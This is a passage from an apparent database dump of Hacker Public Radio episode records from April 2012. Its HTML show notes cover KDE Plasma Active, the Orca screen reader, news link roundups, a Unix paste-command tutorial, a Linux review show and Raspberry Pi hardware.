\r\n<a\r\nhref=\"https://www.calligra-suite.org/\">https://www.calligra-suite.org/</a><br/>\r\nWord Processor, spreadsheet presentation software, drawing optimized for touch\r\n</p>\r\n<p>\r\nCalendaring, PIM aspect to KDE  has been refocused to touch and is avaiable right now\r\n</p>\r\n<p>\r\nSome KDE programs are still being optimized for the touch environment\r\n</p>\r\n<p>\r\nQt-questions about its openness has been resolved\r\n</p>\r\n<p>\r\nMight be some Raspberry Pi\'s at the gathering and they will be raffled after the KDE coders get done with them at the LinuxFest Northwest world famous raffle.\r\n</p>\r\n<p>\r\nYou can make your own tablet and use the OS for your project.\r\n</p>\r\n<p>\r\nOS uses Qt and C++\r\n</p>\r\n<p>\r\nQT Quick\r\n<a href=\"https://qt.nokia.com/qtquick/\">https://qt.nokia.com/qtquick/</a> \r\n</p>\r\n<p>\r\nA continuation of Megoo - Mer\r\n<a href=\"https://merproject.org/\">https://merproject.org/</a>\r\n</p>\r\n<p>\r\nCan be used on some smart phones\r\n</p>\r\n<p>\r\nbasyskom.com\r\n</p>\r\n<p>\r\nCheck out KDE and Plasma Active\r\n</p>\r\n<p>\r\nThese notes based on the interview by David Whitman with Carl Symons and John Blanford for Hacker Public Radio. \r\n</p>\r\n',209,0,1,'CC-BY-SA','KDE,Akademy,Plasma Workspace,Krita,Calligra',0,2101,1),
(959,'2012-04-05','The Orca Screen Reader',3221,'Joanmarie Diggs\' talk from NELF about the Orca Screen Reader','<p>\r\nJoanmarie Diggs\' talk entitled \"<em>The Orca Screen Reader, how it does what it does and how you can help</em>\"<br />\r\nJoanmarie Diggs is the Lead Developer for Orca and this talk was recorded at the Northeast GNU/Linux Fest 2012-03-17\r\n</p>\r\n',109,79,1,'CC-BY-SA','Orca screen reader,NELF',0,2101,1),
(960,'2012-04-06','TGTM Newscast for 2012/04/04 ',1437,'A newscast from Talk Geek to Me','<h2 >TGTM Newscast for 2012/4/4 </h2>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/03/eff-again-reminds-court-forced-warrantless-dna-collection-violates-fourth\">EFF Again Reminds Court Forced Warrantless DNA Collection Violates Fourth Amendment</a></li>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/US_Escalates_Drone_War_in_Yemen_120331\">U.S. Escalates Drone War in Yemen</a></li>\r\n  <li><a href=\"https://www.havanatimes.org/?p=65391\">Amnesty Accuses Cuban Government of Harassing </a></li>\r\n  <li><a href=\"https://www.web.gpnys.com/?p=11728\">Colia Clark Wins NY Green Party Nomination for US Senate</a></li>\r\n  <li><a href=\"https://wlcentral.org/node/2518\">On financial blockades as a political tool for censorship </a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/03/french-constitutional-court-bans-law-enforcement-use-biometric-data\">French Constitutional Court Bans Law Enforcement Use of National Biometric ID Database</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/03/nsa-chief-denies-ability-warrantlessly-wiretap-despite-evidence\">NSA Chief Appears to Deny Ability to Warrantlessly Wiretap Despite Evidence </a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120324/01292018233/trademark-lawyers-push-crazy-new-domain-rules-making-it-easy-them-to-take-away-others-domains.shtml\">Trademark Lawyers Push For Crazy New Domain Rules Making It Easy For Them To Take Away Others\' Domains</a></li>\r\n  <li><a href=\"https://www.amd.com/us/press-releases/Pages/amd-launches-new-platform-2012mar20.aspx\">AMD Launches New Platform for Dedicated Web Hosting Providers </a></li>\r\n  <li><a href=\"https://torrentfreak.com/rapidshare-declared-legal-in-court-with-a-twist-120327/\">RapidShare Declared Legal In Court, With a Twist</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://sacsis.org.za/site/article/1253\">The Root of All Evil? The Dollar, the BRICS and South Africa</a></li>\r\n  <li><a href=\"https://seattletimes.nwsource.com/html/localnews/2017819435_hanford23m.html\">Hanford contractors admit big safety problems remain</a></li>\r\n  <li><a href=\"https://www.truthdig.com/report/item/the_polite_conference_rooms_where_liberties_are_saved_and_lost_20120326/\">The Polite Conference Rooms Where Liberties Are Saved and Lost</a></li>\r\n  <li><a href=\"https://www.courthousenews.com/2012/03/28/45128.htm\">Courthouse News Service on Hedge\'s NDAA suit against Obama</a></li>\r\n  <li><a href=\"https://perspectives.mvdirona.com/2012/03/29/PowerManagementOfOnlineDataIntensiveServices.aspx\"> Power Management of Online Data-Intensive Services</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" Audio of \"Moment of Clarity #126,\" \"havanatimes.org,\"&nbsp; and \"allgov.com\" used under&nbsp;arranged permission. News from&nbsp;\"eff.org\"&nbsp; and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution&nbsp;license. News from \"gpnys.com,\" and \"amd.com\" are press releases. News from \"wlcentral.org\" used under permission of the Creative Commons by-attribution non-commercial no-derivatives license. News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/03/eff-again-reminds-court-forced-warrantless-dna-collection-violates-fourth\">https://www.eff.org/deeplinks/2012/03/eff-again-reminds-court-forced-warrantless-dna-collection-violates-fourth</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/US_Escalates_Drone_War_in_Yemen_120331\">https://www.allgov.com//ViewNews/US_Escalates_Drone_War_in_Yemen_120331</a></li>\r\n<li><a href=\"https://www.havanatimes.org/?p=65391\">https://www.havanatimes.org/?p=65391</a></li>\r\n<li><a href=\"https://www.web.gpnys.com/?p=11728\">https://www.web.gpnys.com/?p=11728</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2518\">https://wlcentral.org/node/2518</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/03/french-constitutional-court-bans-law-enforcement-use-biometric-data\">https://www.eff.org/deeplinks/2012/03/french-constitutional-court-bans-law-enforcement-use-biometric-data</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/03/nsa-chief-denies-ability-warrantlessly-wiretap-despite-evidence\">https://www.eff.org/deeplinks/2012/03/nsa-chief-denies-ability-warrantlessly-wiretap-despite-evidence</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120324/01292018233/trademark-lawyers-push-crazy-new-domain-rules-making-it-easy-them-to-take-away-others-domains.shtml\">https://www.techdirt.com/articles/20120324/01292018233/trademark-lawyers-push-crazy-new-domain-rules-making-it-easy-them-to-take-away-others-domains.shtml</a></li>\r\n<li><a href=\"https://www.amd.com/us/press-releases/Pages/amd-launches-new-platform-2012mar20.aspx\">https://www.amd.com/us/press-releases/Pages/amd-launches-new-platform-2012mar20.aspx</a></li>\r\n<li><a href=\"https://torrentfreak.com/rapidshare-declared-legal-in-court-with-a-twist-120327/\">https://torrentfreak.com/rapidshare-declared-legal-in-court-with-a-twist-120327/</a></li>                                                                                                                                \r\n<li><a href=\"https://sacsis.org.za/site/article/1253\">https://sacsis.org.za/site/article/1253</a></li>                                                       \r\n<li><a href=\"https://seattletimes.nwsource.com/html/localnews/2017819435_hanford23m.html\">https://seattletimes.nwsource.com/html/localnews/2017819435_hanford23m.html</a></li>                                                                                                                                          \r\n<li><a href=\"https://www.truthdig.com/report/item/the_polite_conference_rooms_where_liberties_are_saved_and_lost_20120326/\">https://www.truthdig.com/report/item/the_polite_conference_rooms_where_liberties_are_saved_and_lost_20120326/</a></li>                                                                      \r\n<li><a href=\"https://www.courthousenews.com/2012/03/28/45128.htm\">https://www.courthousenews.com/2012/03/28/45128.htm</a></li>                               \r\n<li><a href=\"https://perspectives.mvdirona.com/2012/03/29/PowerManagementOfOnlineDataIntensiveServices.aspx\">https://perspectives.mvdirona.com/2012/03/29/PowerManagementOfOnlineDataIntensiveServices.aspx</a></li>\r\n</ul>',237,65,1,'CC-BY-SA','newscast,TGTM',0,2110,1),
(961,'2012-04-09','Experiences in a mental hospital',1065,'A personal log of time spent in a mental hospital','<p>\r\nThis is about the time Sigflup spent in a mental hospital for paranoia. This is a personal log that takes place just after sigflup regained the ability to talk. You can find a by-foot made map of the psych-ward here: <br />\r\n<!-- <img align=\"left\" vspace=\"2\" hspace=\"4\" style=\"width: 400px\" src=\"https://devio.us/~sigflup/map.jpg\" alt=\"Map of the psych-ward\" /> -->\r\n<img style=\"width: 400px\" src=\"https://hackerpublicradio.org/eps/hpr0961/hpr0961.jpg\" alt=\"Map of the psych-ward\" />\r\n</p>\r\n<p>\r\n<a href=\"https://devio.us/~sigflup/map.jpg\">https://devio.us/~sigflup/map.jpg</a>\r\n</p>\r\n',115,71,1,'CC-BY-SA','mental health,paranoia',0,2335,1),
(962,'2012-04-10','LiTS 004: paste',536,'Merge lines of files with the <em>paste</em> command','<p>\r\nIn the fourth in his series Dann, shows us the benefits of the paste command:\r\n</p>\r\n<p>The paste command merges the lines of two or more files or a file and standard in if a second file is not specified or a \"-\" is used in place of the second file. Consider the following two files. The first file, test1.txt contains the following lines:</p>\r\n<blockquote><p>a<br/>\r\none<br/>\r\nthree<br/>\r\ncat<br/>\r\ngood</p></blockquote>\r\n<p>The second file, test2.txt contains the following lines:</p>\r\n<blockquote><p>tuna<br/>\r\nblue finch<br/>\r\ndogs<br/>\r\nfish<br/>\r\neats</p></blockquote>\r\n<p>The paste command can be used to paste these two files like so:</p>\r\n<blockquote><p>paste test1.txt test2.txt</p></blockquote>\r\n<p>producing the following output:</p>\r\n<blockquote><p>a &nbsp; &nbsp; &nbsp; &nbsp; tuna<br/>\r\none &nbsp; &nbsp; blue finch<br/>\r\nthree &nbsp; dogs<br/>\r\ncat &nbsp; &nbsp; &nbsp;fish<br/>\r\ngood &nbsp; eats</p></blockquote>\r\n<p>Each line in test1.txt has been “pasted” to the corresponding line in test2.txt. \r\n\r\n<p>\r\n<a href=\"https://www.linuxintheshell.com/2012/04/10/episode-004-paste/\">https://www.linuxintheshell.com/2012/04/10/episode-004-paste/</a> for the complete shownotes, including video.\r\n</p>\r\n',7,67,1,'CC-BY-SA','paste',0,2621,1),
(963,'2012-04-10','How I cut the cord part 3',411,'Part 3 of the cable cutting series','Hello H.P.R.<br />\r\nBrocktonBob here in my third episode on how I cut the cable cord. I discuss <a href=\"https://www.eztv.it/\">https://www.eztv.it/</a>\r\nusing this website we will be able using a bittorent client like transmission to download our \r\nfavorite cable and network T.V. Programs. We also talk about putting these shows on an external harddrive.<br />\r\nAnd how to convert them to any video codec and play them using the Netgear settop box.\r\n',202,0,1,'CC-BY-SA','internet streaming,set-top box',0,2045,1),
(964,'2012-04-11','Sunday Morning Linux Review Episode 026',4148,'SMLR episode 26','<p><a title=\"SMLR.US\" href=\"https://smlr.us\">https://smlr.us</a></p>\r\n<h3>Downloads:</h3>\r\n<p><a href=\"https://media.blubrry.com/smlr/www.smlr.us/Shows/SMLR-E026.mp3\" target=\"_blank\">MP3 format (for Freedom Haters!)</a><br />\r\n<a href=\"https://media.blubrry.com/smlr/www.smlr.us/Shows/SMLR-E026.ogg\" target=\"_blank\">OGG format (for Freedom Lovers!)</a><br />\r\nTotal Running Time: 1:07:31</p>\r\n<h3>Intro:</h3>\r\n<p>Mat Enders, Tony Bemus, and Mary Tomich<br />\r\nIntro Sound bite by <a title=\"https://voice123.com/miketanner\" href=\"https://voice123.com/miketanner\" target=\"_blank\">Mike Tanner</a></p>\r\n<h3>Kernel News: Mat</h3>\r\n<p>Time: 5:47<br />\r\nRelease Candidate:<br />\r\nSorry I missed this last week but Linus did not release it until all most 8pm EDT on Saturday and I did not check Sunday morning before we recorded.<br />\r\nOn Sat, 31 Mar 2012 at 19:58:35 Linus Torvalds Released Kernel 3.4-rc1 </p>\r\n<p>On Sat, 7 Apr 2012 19:09:38 Linus Torvalds Released Kernel 3.4-rc2<br />\r\n“So go forth, my eager minions. Go forth, and compile and test. Because nothing beats that warm fuzzy feeling of knowing that you&#8217;re on the bleeding edge, but at the same time -rc2 is not quite so bleeding edge that you need to worry too much.”</p>\r\n<p>Mainline:<br />\r\n3.4-rc2</p>\r\n<p>Stable Updates:<br />\r\nOn Mon, 2 Apr 2012 at 12:52:39 Greg Kroah-Hartman Released Kernel 3.0.27<br />\r\n121 files changed, 1172 files inserted, 450 files deleted </p>\r\n<p>On Mon, 2 Apr 2012 at 13:35:54 Greg Kroah-Hartman Released Kernel 3.2.14<br />\r\n168 files changed, 1606 files inserted, 793 files deleted </p>\r\n<p>On Mon, 2 Apr 2012 at 13:54:51 Greg Kroah-Hartman Released Kernel 3.3.1<br />\r\n227 files changed, 2007 files inserted, 1207 files deleted</p>\r\n<p>Kernel Quote:<br />\r\nThis was posted by Linus in response to Greg Kroah-Hartman publicly making fun of a kernel contributor for doing something massively stupid.</p>\r\n<p>“Publicly making fun of people is half the fun of open source programming. </p>\r\n<p>In fact, the real reason to eschew programming in closed environments is that you can&#8217;t embarrass people in public”</p>\r\n<p>  &#8212;  Linus Torvalds</p>\r\n<h3>Distro Talk: Tony</h3>\r\n<p>Time: 8:27</p>\r\n<p><a title=\"https://distrowatch.com\" href=\"https://distrowatch.com\" target=\"_blank\">Distrowatch.com </a></p>\r\n<ul>\r\n<li>4-4 &#8211; <a href=\"https://distrowatch.com/7189\" target=\"_blank\">Puppy Linux 5.3 &#8220;Wary&#8221;, &#8220;Racy&#8221;</a> &#8211; &#8220;Wary&#8221; and &#8220;Racy&#8221; editions of Puppy Linux, targeting older computers, are ready and available for download</li>\r\n<li>4-2 &#8211; <a href=\"https://distrowatch.com/7187\" target=\"_blank\">DEFT Linux 7.1 </a> &#8211;  Ubuntu-based distribution designed for forensic analysis, penetration testing and related tasks</li>\r\n<li>4-2 &#8211; <a href=\"https://distrowatch.com/7184\" target=\"_blank\">Fuduntu 2012.2</a> &#8211; the latest of the regular quarterly release updates of the project&#8217;s rolling-release distribution previously forked from Fedora</li>\r\n</ul>\r\n<h3>Distro of the Week: Tony</h3>\r\n<ol>\r\n<li value=\"5\">Fedora &#8211; 1511</li>\r\n<li value=\"4\">Fuduntu &#8211; 1612</li>\r\n<li value=\"3\">Puppy &#8211; 1714</li>\r\n<li value=\"2\">Ubuntu &#8211; 2355</li>\r\n<li value=\"1\">Mint &#8211; 3763</li>\r\n</ol>\r\n<h3>Tech News:</h3>\r\n<p>Time: 27:56<br />\r\nUdev Source To Be Merged Into Systemd tree </p>\r\n<p>	Kay Sievers, lead developer for udev, announced on the Linux hotplug mailing list plans to merge the source code for udev into the systemd tree.  When this happens systemd will continue forward using the udev version number, so it will jump from 45 to 184. </p>\r\n<p>	After the merge it will still be possible to build it for non-systemd systems.  He went on to say that builds of this nature will be supported for a long time to come.  This is necessary so as not to break systems with initrds that lack systemd.  Distributions that do not want to adopt systemd can build as they always have except they will need to use the systemd tar ball. </p>\r\n<p>	The decision to merge the two projects was based on the fact that init needs to be completely hotplug capable.  Making udev&#8217;s device management and knowledge of device life cycles integral to systemd.  This makes this merge a change in build scheme not a change in direction or interface.  This leaves the libudev API untouched. </p>\r\n<p>	So what all of this boils down to after the brouhaha settles down is that in essence nothing really has changed.</p>\r\n<hr width=\"300\" />\r\n<p>Google Glass, Jetpacks Must Be Just Around The Corner </p>\r\n<p>	I have been a fan of science fiction since I could read.  Well everyday reality seems to be catching up with the science fiction of my childhood.  If you have not seen the video yet head on over to YouTube and check it out:<br />\r\n<iframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/9c6W4CCU9M4\" frameborder=\"0\" allowfullscreen></iframe><br />\r\n These are the kinds of things we geeks have been saying are coming since we were children.  They are so futuristic that I am still having a hard time believing that they are actually in testing. </p>\r\n<p>	The Internet rumor mill has been swirling around this for awhile now.  Google calls it Project Glass and it is being developed at Google[X], Googles R&#038;D laboratory.  The announcement on Wednesday, 4/4 about field testing for Google Glass was released in a post on Google+ (<a href=\"https://plus.google.com/111626127367496192147/posts\" target=\"_blank\">https://plus.google.com/111626127367496192147/posts</a>).  It is however for Google employees only.  The designs shown on Wednesday are just a selection they have more including one that can be incorporated into your existing eyewear. </p>\r\n<p>	The biggest questions raised by this announcement have already been answered.  Those questions being, won&#8217;t these get in the way of reality, and, won&#8217;t these just separate us more from from real life, well according someone who has used these, in an interview with the NY Times, the answer is no: </p>\r\n<p>&#8220;They let technology get out of your way.  If I want to take a picture I don&#8217;t have to reach into my pocket and take out my phone; I just press a button at the top of the glasses and that&#8217;s it.&#8221; </p>\r\n<p>	The glasses do have a unique look about them, and people will know you are wearing them right away.  They will hopefully get smaller and be able to be integrated into a regular looking pair of glasses. </p>\r\n<p>	I don&#8217;t care if these are impractical or don&#8217;t work I want a pair of these right now.  This is the science fiction stuff I used to dream about when I was a kid.  How far away are the personal jetpacks.</p>\r\n<hr width=\"300\" />\r\n<p>ICANN Writes A How To For Governments To Seize Domains</p>\r\n<p>	Coming to you directly from the &#8220;Not Cool&#8221; department.  It was pointed out to ICANN that it was providing a disservice by not speaking out against governments seizing domains.  So what does ICANN do?  They publish a white paper that is basicly a how to for governments to seize domains.  They have also made public statements that they will work closer with governments to help them seize and censor domains.  This unfortunate turn of events just further illustrates the uselessness of ICANN to protect the Internet. It instead shows how they are actively undermining the very principals of the Internet.</p>\r\n<hr width=\"300\" />\r\n<p>IBM And Red Hat May Join OpenStack </p>\r\n<p>	From the I made this up to sound important bag.  GigaOm reports that IBM and Red Hat are joining OpenStack.  Neither company nor OpenStack has confirmed this report.  OpenStack was started about two years ago as joint effort between NASA and Rackspace.  Since its inception it has grown immensely with over 150 companies and 2,000 developers.  I do not know how much cache these two will bring to the party however as the list of companies already includes the likes of HP, Dell, Intel, AMD, and Cisco. </p>\r\n<p>	OpenStack released the fifth version of its software this week code named Essex.  They are having a Design Summit April 16-18 in San Francisco.  This could be where new partners will be announced.</p>\r\n<hr width=\"300\" />\r\n<p>April 4, 2012.  KDE released updates for its Workspaces, Applications, and Development Platform. </p>\r\n<p>Significant bugfixes include<br />\r\n* making encryption of multiple folders using GPG work,<br />\r\n* XRender fixes in the KWin window and compositing manager,<br />\r\n* a series of bugfixes to the newly introduced Dolphin view engine<br />\r\n* improvements in the Plasma Quick-based new window switcher,<br />\r\n* Kontact and its device counterpart Kontact Touch have received a number of important bugfixes as well as performance improvements.</p>\r\n<hr width=\"300\" />\r\n<p><a href=\"https://www.eweek.com/c/a/Application-Development/Yahoo-Open-Sources-Mojito-JavaScript-Framework-557130/\" target=\"_blank\">Yahoo Open-Sources Mojito JavaScript Framework</a></p>\r\n<hr width=\"300\" />\r\n<p>KDE Tooltips&#8212; when is too much, too much?  Well for me when it&#8217;s associated with KDE tool-tips<br />\r\nDespite the fact that I am a big fan of KDE, there is one thing that annoys me every time I install a KDE-based distro—the numerous tool-tips and pop-ups that appear in an attempt to be helpful. </p>\r\n<p>Recently while searching for some KDE information, I found that someone else also had expressed similar sentiments and went on to list all of the tool-tips that he had disabled.  His version of KDE was 4.5—but it had not changed too much for 4.8.1.  Here are the various tooltips that I have deactivated. </p>\r\n<p>System Settings tool-tips:  Are you bothered by KDE displaying the list of items for each configuration category within the System Setting area:  Disable it thusly:.<br />\r\n1. Open System Settings<br />\r\n2. Select the Configure button<br />\r\n3. Uncheck the “Show detailed tool-tips”<br />\r\nIcon-only Task bar tool-tips: If you&#8217;re using the icon-only task bar, you will appreciate this information instructing how to suppress task bar pop-ups.<br />\r\n1. Right-click on the task bar.<br />\r\n2. Select Icon-only Task Manager Settings<br />\r\n3. In the Appearance section, Select “Do Not Show” in the tool-tips drop-down and save.<br />\r\nPanel balloon pop-ups: Do these balloons make you want to blow up? Selecting this option will suppress the pop-ups that appear when you hover over shortcuts and icons on the desktop.<br />\r\n1. Open System Settings<br />\r\n2. Select Workspace Appearance and Behavior<br />\r\n3. Select Workspace Behavior<br />\r\n4. Select Workspace<br />\r\n5. In the Informational Tips widget, select the “Do not show” option.<br />\r\n.<br />\r\nTitle bar buttons (Maximize, Minimize, Close):<br />\r\nOpen System Settings<br />\r\nSelect Workspace Appearance<br />\r\nSelect Window Decorations<br />\r\nSelect the Configure Buttons button<br />\r\nUncheck the “Show window button tool-tips” check box<br />\r\nThis feature appears to be broken on my desktop—no tool-tips either way, plus my extra buttons with spacing are not appearing on the title bar. Perhaps my just downloaded and installed upgrade to 4.8.2 will fix this problem.  <img src=\'https://smlr.us/wp-includes/images/smilies/icon_wink.gif\' alt=\';)\' class=\'wp-smiley\' /><br />\r\nDolphin:  Stopping the mother of all pop-up tooltips&#8230;This action prevents Dolphin from taking the content of the information panel (which can be set to appear on the right side) and repackaging it as a tool-tip..a very large tool-tip This may come in handy for some people, but for me it was over the top.<br />\r\n1. Select the Settings menu<br />\r\n2. Select the Configure Dolphin… option<br />\r\n3. Select the General tab<br />\r\n4. Uncheck the “Show tool-tips” check box.</p>\r\n<p>LibreOffice:  The tool-tips that appear when you hover over the tool-bar will disappear.<br />\r\n1. Select Tools, Options.<br />\r\n2. Under General, uncheck the Tips box.</p>\r\n<h3>Listener Feedback</h3>\r\n<p>Time: 47:29<br />\r\nKeith Pawson<br />\r\nSteve Barcomb<br />\r\nBrad Alexander</p>\r\n<h3><a href=\"https://plus.google.com/u/0/101697140452828586505/posts\" target=\"_blank\"> Mats Soap Box </a></h3>\r\n<p>Time: 50:00</p>\r\n<h3>Outtro Music: </h3>\r\n<p>Time: 1:03:36<br />\r\n<a href=\"https://www.jamendo.com/en/track/695374\" target=\"_blank\">MultiPunk </a>by <a href=\"https://www.jamendo.com/en/artist/Bilou_le_skankerfou\" target=\"_blank\">Bilou le skankerfou</a></p>\r\n',109,54,1,'CC-BY-SA','SMLR,Sunday Morning Linux Review',0,2247,1),
(965,'2012-04-13','TGTM Newscast for 2012/4/4',1902,'A newscast from Talk Geek to Me','<h2>TGTM Newscast for 2012/4/4</h2>\r\n<p>\r\nShownotes are available at <a href=\"https://www.talkgeektome.us/tgtmnews-66.html\">Show Notes for TGTM news 66</a>\r\n</p>\r\n<p>Here is a news review:</p>\r\n<ul>\r\n  <li><a href=\"https://maggiemcneill.wordpress.com/2012/04/03/an-example-to-the-west/\">An Example to the West</a></li>\r\n  <li><a href=\"https://www.wisconsingreenparty.org/?q=node/167\">Wisconsin Greens Win 7 of 7 in Local Races</a></li>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/Obama_Administration_Drastically_Steps_Up_Deportation_of_Parents_of_US_Born_Citizens_120406\">Obama Administration Drastically Steps Up Deportation of Parents of U.S.-Born Citizens</a></li>\r\n  <li><a href=\"https://inthesetimes.com/article/12971/promises_broken_promises_kept/\">Promises Broken, Promises Kept</a></li>\r\n  <li><a href=\"https://www.allgov.com//ViewNews/Arkansas_Supreme_Court_Okays_Sex_between_Teachers_and_18_Year_Old_Students_120405\">Arkansas Supreme Court Okays Sex between Teachers and 18-Year-Old Students</a></li>\r\n  <li><a href=\"https://torrentfreak.com/the-fight-against-copyright-enforcement-the-fight-for-civil-liberties-are-the-same-120404/\">The Fight Against Copyright Enforcement &amp; The Fight For Civil Liberties Are The Same</a></li>\r\n  <li><a href=\"https://torrentfreak.com/spanish-sopa-79-site-takedown-requests-in-first-month-120404/\">Spanish ‘SOPA’: 79 Site Takedown Requests in First Month</a></li>\r\n  <li><a href=\"https://www.techdirt.com/articles/20120406/12172918409/megaupload-points-out-that-feds-want-to-destroy-relevant-evidence-its-case.shtml\">Megaupload Points Out That The Feds Want To Destroy Relevant Evidence In Its Case</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/04/viacom-v-google-decision\">Viacom v. Google: A Decision at Last, and It\'s Mostly Good (for the Internet and Innovation)</a></li>\r\n  <li><a href=\"https://www.eff.org/deeplinks/2012/04/april-2012-state-do-not-track-lead-tracking-protecting-working-group-negotiations\">April 2012, the State of Do Not Track: Lead Up to Tracking Protecting Working Group Negotiations in Washington, DC</a></li>\r\n</ul>\r\n<p>Other Headlines:</p>\r\n<ul>\r\n  <li><a href=\"https://sacsis.org.za/site/article/1258\">The Syrian Crisis Needs a Political Solution</a></li>\r\n  <li><a href=\"https://wlcentral.org/node/2535\">Australian Government\'s escalating hostility toward WikiLeaks and Julian Assange</a></li>\r\n  <li><a href=\"https://www.digitaljournal.com/article/322271\">Op-Ed: Anybody but Obamney</a></li>\r\n  <li><a href=\"https://www.pacificfreepress.com/news/1/11351-a-gulag-coming-near-someone-you-love-soon.html\">Someone You Love: Coming to a Gulag Near You</a></li>\r\n  <li><a href=\"https://www.thenation.com/blog/167048/worker-ownership-21st-century\">Worker Ownership For the 21st Century?</a></li>\r\n</ul>\r\n<p>News from \"techdirt.com,\" Audio of \"Moment of Clarity #129,\" \"maggiemcneill.wordpress.com,\"&nbsp; \"inthesetimes.com,\" and \"allgov.com\" used\r\nunder&nbsp;arranged permission. News from&nbsp;\"eff.org\"&nbsp; and \"torrentfreak.com\" used under permission of the Creative Commons by-attribution&nbsp;license. News from \"wisconsingreenparty.org\" is a press release. News Sources retain their respective copyrights.</p>\r\n\r\n<h2>Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.talkgeektome.us/tgtmnews-66.html\">https://www.talkgeektome.us/tgtmnews-66.html</a></li>\r\n<li><a href=\"https://maggiemcneill.wordpress.com/2012/04/03/an-example-to-the-west/\">https://maggiemcneill.wordpress.com/2012/04/03/an-example-to-the-west/</a></li>\r\n<li><a href=\"https://www.wisconsingreenparty.org/?q=node/167\">https://www.wisconsingreenparty.org/?q=node/167</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Obama_Administration_Drastically_Steps_Up_Deportation_of_Parents_of_US_Born_Citizens_120406\">https://www.allgov.com//ViewNews/Obama_Administration_Drastically_Steps_Up_Deportation_of_Parents_of_US_Born_Citizens_120406</a></li>\r\n<li><a href=\"https://inthesetimes.com/article/12971/promises_broken_promises_kept/\">https://inthesetimes.com/article/12971/promises_broken_promises_kept/</a></li>\r\n<li><a href=\"https://www.allgov.com//ViewNews/Arkansas_Supreme_Court_Okays_Sex_between_Teachers_and_18_Year_Old_Students_120405\">https://www.allgov.com//ViewNews/Arkansas_Supreme_Court_Okays_Sex_between_Teachers_and_18_Year_Old_Students_120405</a></li>\r\n<li><a href=\"https://torrentfreak.com/the-fight-against-copyright-enforcement-the-fight-for-civil-liberties-are-the-same-120404/\">https://torrentfreak.com/the-fight-against-copyright-enforcement-the-fight-for-civil-liberties-are-the-same-120404/</a></li>\r\n<li><a href=\"https://torrentfreak.com/spanish-sopa-79-site-takedown-requests-in-first-month-120404/\">https://torrentfreak.com/spanish-sopa-79-site-takedown-requests-in-first-month-120404/</a></li>\r\n<li><a href=\"https://www.techdirt.com/articles/20120406/12172918409/megaupload-points-out-that-feds-want-to-destroy-relevant-evidence-its-case.shtml\">https://www.techdirt.com/articles/20120406/12172918409/megaupload-points-out-that-feds-want-to-destroy-relevant-evidence-its-case.shtml</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/04/viacom-v-google-decision\">https://www.eff.org/deeplinks/2012/04/viacom-v-google-decision</a></li>\r\n<li><a href=\"https://www.eff.org/deeplinks/2012/04/april-2012-state-do-not-track-lead-tracking-protecting-working-group-negotiations\">https://www.eff.org/deeplinks/2012/04/april-2012-state-do-not-track-lead-tracking-protecting-working-group-negotiations</a></li>\r\n<li><a href=\"https://sacsis.org.za/site/article/1258\">https://sacsis.org.za/site/article/1258</a></li>\r\n<li><a href=\"https://wlcentral.org/node/2535\">https://wlcentral.org/node/2535</a></li>\r\n<li><a href=\"https://www.digitaljournal.com/article/322271\">https://www.digitaljournal.com/article/322271</a></li>\r\n<li><a href=\"https://www.pacificfreepress.com/news/1/11351-a-gulag-coming-near-someone-you-love-soon.html\">https://www.pacificfreepress.com/news/1/11351-a-gulag-coming-near-someone-you-love-soon.html</a></li>\r\n<li><a href=\"https://www.thenation.com/blog/167048/worker-ownership-21st-century\">https://www.thenation.com/blog/167048/worker-ownership-21st-century</a></li>\r\n</ul>\r\n',237,65,1,'CC-BY-SA','newscast,TGTM',0,2183,1),
(966,'2012-04-16','The wisdom of our elders',744,'A first episode from a new (to HPR) host','In his first (HPR) podcast, professional podcaster, and friend of HPR, Mr. Stephen McLaughlin, aka DoorToDoorGeek honors us with an episode on listening. <br />\r\nHe has taken some time to listen to older people and advises us to avail of this untapped resource.<br />\r\n<a href=\"https://doortodoorgeek.com/ \">https://doortodoorgeek.com/</a>',212,0,1,'CC-BY-SA','personal experiences,history',0,2273,1),
(967,'2012-04-16','Raspberry Pi spec review',956,'A discussion of the capabilities of the Raspberry Pi','<p>\r\n<a href=\"https://hackerpublicradio.org/eps/hpr0967_img1.png\"><img alt=\"Raspberry Pi Board IO Overview\" width=400 src=\"https://hackerpublicradio.org/eps/hpr0967_img1.png\" /></a><br/>In today\'s show Klaas-Jan walks Ken throught the possibilities of the Raspberry Pi. The Raspberry Pi is a credit-card sized computer that plugs into your TV and a keyboard. It’s a capable little PC which can be used for many of the things that your desktop PC does, like spreadsheets, word-processing and games. It also plays high-definition video. We want to see it being used by kids all over the world to learn programming. All for under $35.</p>\r\n<h2>Connectors</h2>\r\n<p>\r\n<img  alt=\"RCA connector\" width=400 src=\"https://upload.wikimedia.org/wikipedia/commons/c/cd/Composite-video-cable.jpg\" /><br />\r\n<strong>Composite video</strong> is the format of an analog television (picture only) signal before it is combined with a sound signal and modulated onto an RF carrier. In contrast to component video (YPbPr) it contains all required video information, including colors in a single line-level signal. Like component video, composite-video cables do not carry audio and are often paired with audio cables (see RCA connector).\r\n</p>\r\n<p>\r\n<img  alt=\"A photo of a HDMI connector\" width=400 src=\"https://upload.wikimedia.org/wikipedia/commons/c/c2/HDMI-Connector.jpg\" /><br />\r\n<strong>HDMI</strong> (High-Definition Multimedia Interface) is a compact audio/video interface for transmitting encrypted uncompressed digital data. HDMI implements the EIA/CEA-861 standards, which define video formats and waveforms, 